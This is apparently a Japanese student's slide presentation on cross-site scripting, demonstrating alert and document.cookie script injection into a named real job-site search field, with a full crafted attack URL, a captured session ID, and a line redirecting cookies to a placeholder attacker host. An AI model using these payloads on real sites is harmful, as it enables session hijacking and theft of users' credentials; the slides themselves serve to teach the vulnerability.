Vulnerability of Cross-Site Scripting XSS脆弱性の検証 環境情報学部2年 中村拓央

What is Cross-Site Scripting? 悪意を持った攻撃者がWEB上の入力フォームなどを通してスクリプトコードを挿入し、そのスクリプトがそのままHTMLに埋め込まれ、ページを閲覧したユーザのブラウザ上でスクリプトが実行されてしまうこと。 　　　　　　　　　　　　　　　　↓ 　　　　　他人のサイトで勝手に 　　　　　　　　　　スクリプトを実行するということ。

What is Cross-Site Scripting? ～悪意のあるスクリプトによって起こりうる被害～ ・cookieの漏洩 ・ページの改竄 ・データの破壊 　　最悪の事態は重要な個人情報や利権を操作するためのcookieを盗まれてしまうこと。 Cookieの漏洩、ページの改竄、データの破壊など様々な被害が挙げられますが、 その中でもっとも危険かつ一般的にXSS被害として知られるcookie盗難について 説明します。

What is Cross-Site Scripting? 最近ではWEB製作者はそうしたスクリプトコードを実行させないような処理をしている。 数年前と比較するとそのようなXSS脆弱性を持ったサイトは少なくなってきている。 　　　もう存在しないのかな？

そんなサイトを発見

<script>alert(“XSS脆弱性”)</script> ここは某就職ナビサイトさんのページですが。 ここのフリーワード検索欄にスクリプトを埋め込んで見ます。 このスクリプトはXSS脆弱性と書かれたダイアログボックスを表示させるスクリプトコードです。 <script>alert(“XSS脆弱性”)</script>

XSS脆弱性をもっているということになる。 判ったわけです。 じゃあ脆弱性があるということがわかったら次はどのような方法で 実際に攻撃されるのか。 実行されてしまったので、 XSS脆弱性をもっているということになる。

具体的なXSS実行方法 <script> alert(document.cookie) ; </script> というスクリプトを先ほどのサイトに埋め込んでみる。 このスクリプトはCookie情報が表示されたダイアログボックスを画面に出すスクリプトコードです。

<script>alert(document.cookie) ;</script>

ASPSESSIONIDQCBBQRBT=EAHELLGBLPHMHFGANCIOMDHA そうするとまあ驚いたことにセッションIDと思われるcookieデータが 見事に表示されてしまいました。 セッションIDというのはそのセッション管理、とくにユーザ認証に用いられるIDのため これを用いることで他人のセッションに入り込んでなりすますことができます。 この例は自分でスクリプトコードを直接入力するだけなので、 自分で実行しても自分のIDしか取れません。 でもこれを他人に行わせることができたら、それは非常に大きな脅威となるわけです。 ASPSESSIONIDQCBBQRBT=EAHELLGBLPHMHFGANCIOMDHA

具体的なXSS実行方法 攻撃者は以下のようなリンクを自分の用意したページに含ませたり、大勢の人が観覧する掲示板あるいはメールに貼り付けたりしてユーザを誘導する。 http://www4.access-t.co.jp/navi/acs03/search/search_result.asp? free_word=%3Cscript%3Ealert%28document.cookie%29+%3B%3C%2Fscript%3E&condition=00&kensaku01222=%8C%9F%8D%F5&mode=freeword&new=dummy&page=top これは先ほどのページにアクセスできるURLです。 フリーワード検索欄のパラメータにさっきのスクリプトを与えています。 赤文字の部分はデコードすると、<script>alert(document.cookie) ;</script>

http://www4. access-t. co. jp/navi/acs03/search/search_result. asp http://www4.access-t.co.jp/navi/acs03/search/search_result. asp?free_word=<script>alert(document.cookie) ;</script> &condition=00&kensaku01222=%8C%9F%8D%F5&mode=freeword&new=dummy&page=top

やっぱり実行できてしまうわけです。 重要なのはこのスクリプトはこのサイトで実行されるので、 取得できるcookieはこのサイトで発行されたものになります。 このように攻撃者のサイトから、ユーザーをまたいで脆弱性のあるサイトへいって スクリプトを実行する、ということがクロスサイトスクリプティングという名前の由縁です。

具体的なXSS実行方法 document.location=“http://○○○○/cookie.cgi?cookie="+document.cookie; このようなスクリプトを含ませることで、攻撃者サイトのcookie.cgiにユーザーのcookieを含んだ形でアクセスさせることも可能。 先ほどの例ではデモのためにブラウザ上でダイアログを表示させましたが、 CGIに引数として、Cookie情報を渡すような形をとることで 誘導した側のCGIでこのセッションIDを保存したり、 または任意のユーザにメールしたりすることによってセッションIDを不正に取得することが可能だ。 取得したIDを用いて、同じページに入ることによって個人情報などの有益な情報を取得できる可能性が非常に高い。 そうすると、攻撃者はセッションIDを用意することで、 認証のためのユーザIDやパスワードを知らなくても、ログインできてしまう可能性があるわけです。 それがいわゆるセッションハイジャックです。 こうした簡単な作業で重要な情報を引き出せてしまう脆弱なセキュリティはどうかと疑問に思うわけです。

結論 ・WEBアプリケーション、CGIプログラマーはXSSを軽視しないこと！ 現在は個人情報をWEB上で入力、管理できる時代なので、 簡単なセキュリティホールを作らないこと！ ちょっとした注意や作業でXSS脆弱性は激減するので、 安易なプログラムはしないでほしい、というのが 結論です。 リサーチしてみて感じました。 今後の課題としては、簡単なスクリプトさえも実効されてしまうようなサイト に対して、そうしたcookei情報をとれるようなCGIを自前で作ってみたい。 対策として、サニタイジング処理といいまして、文字列を置換。。。。。。 サニタイジング処理が施されているサイトでもXSSが実行できてしまうこともあるらしいので、 それが実際にできるのかを再現してみたいと思います。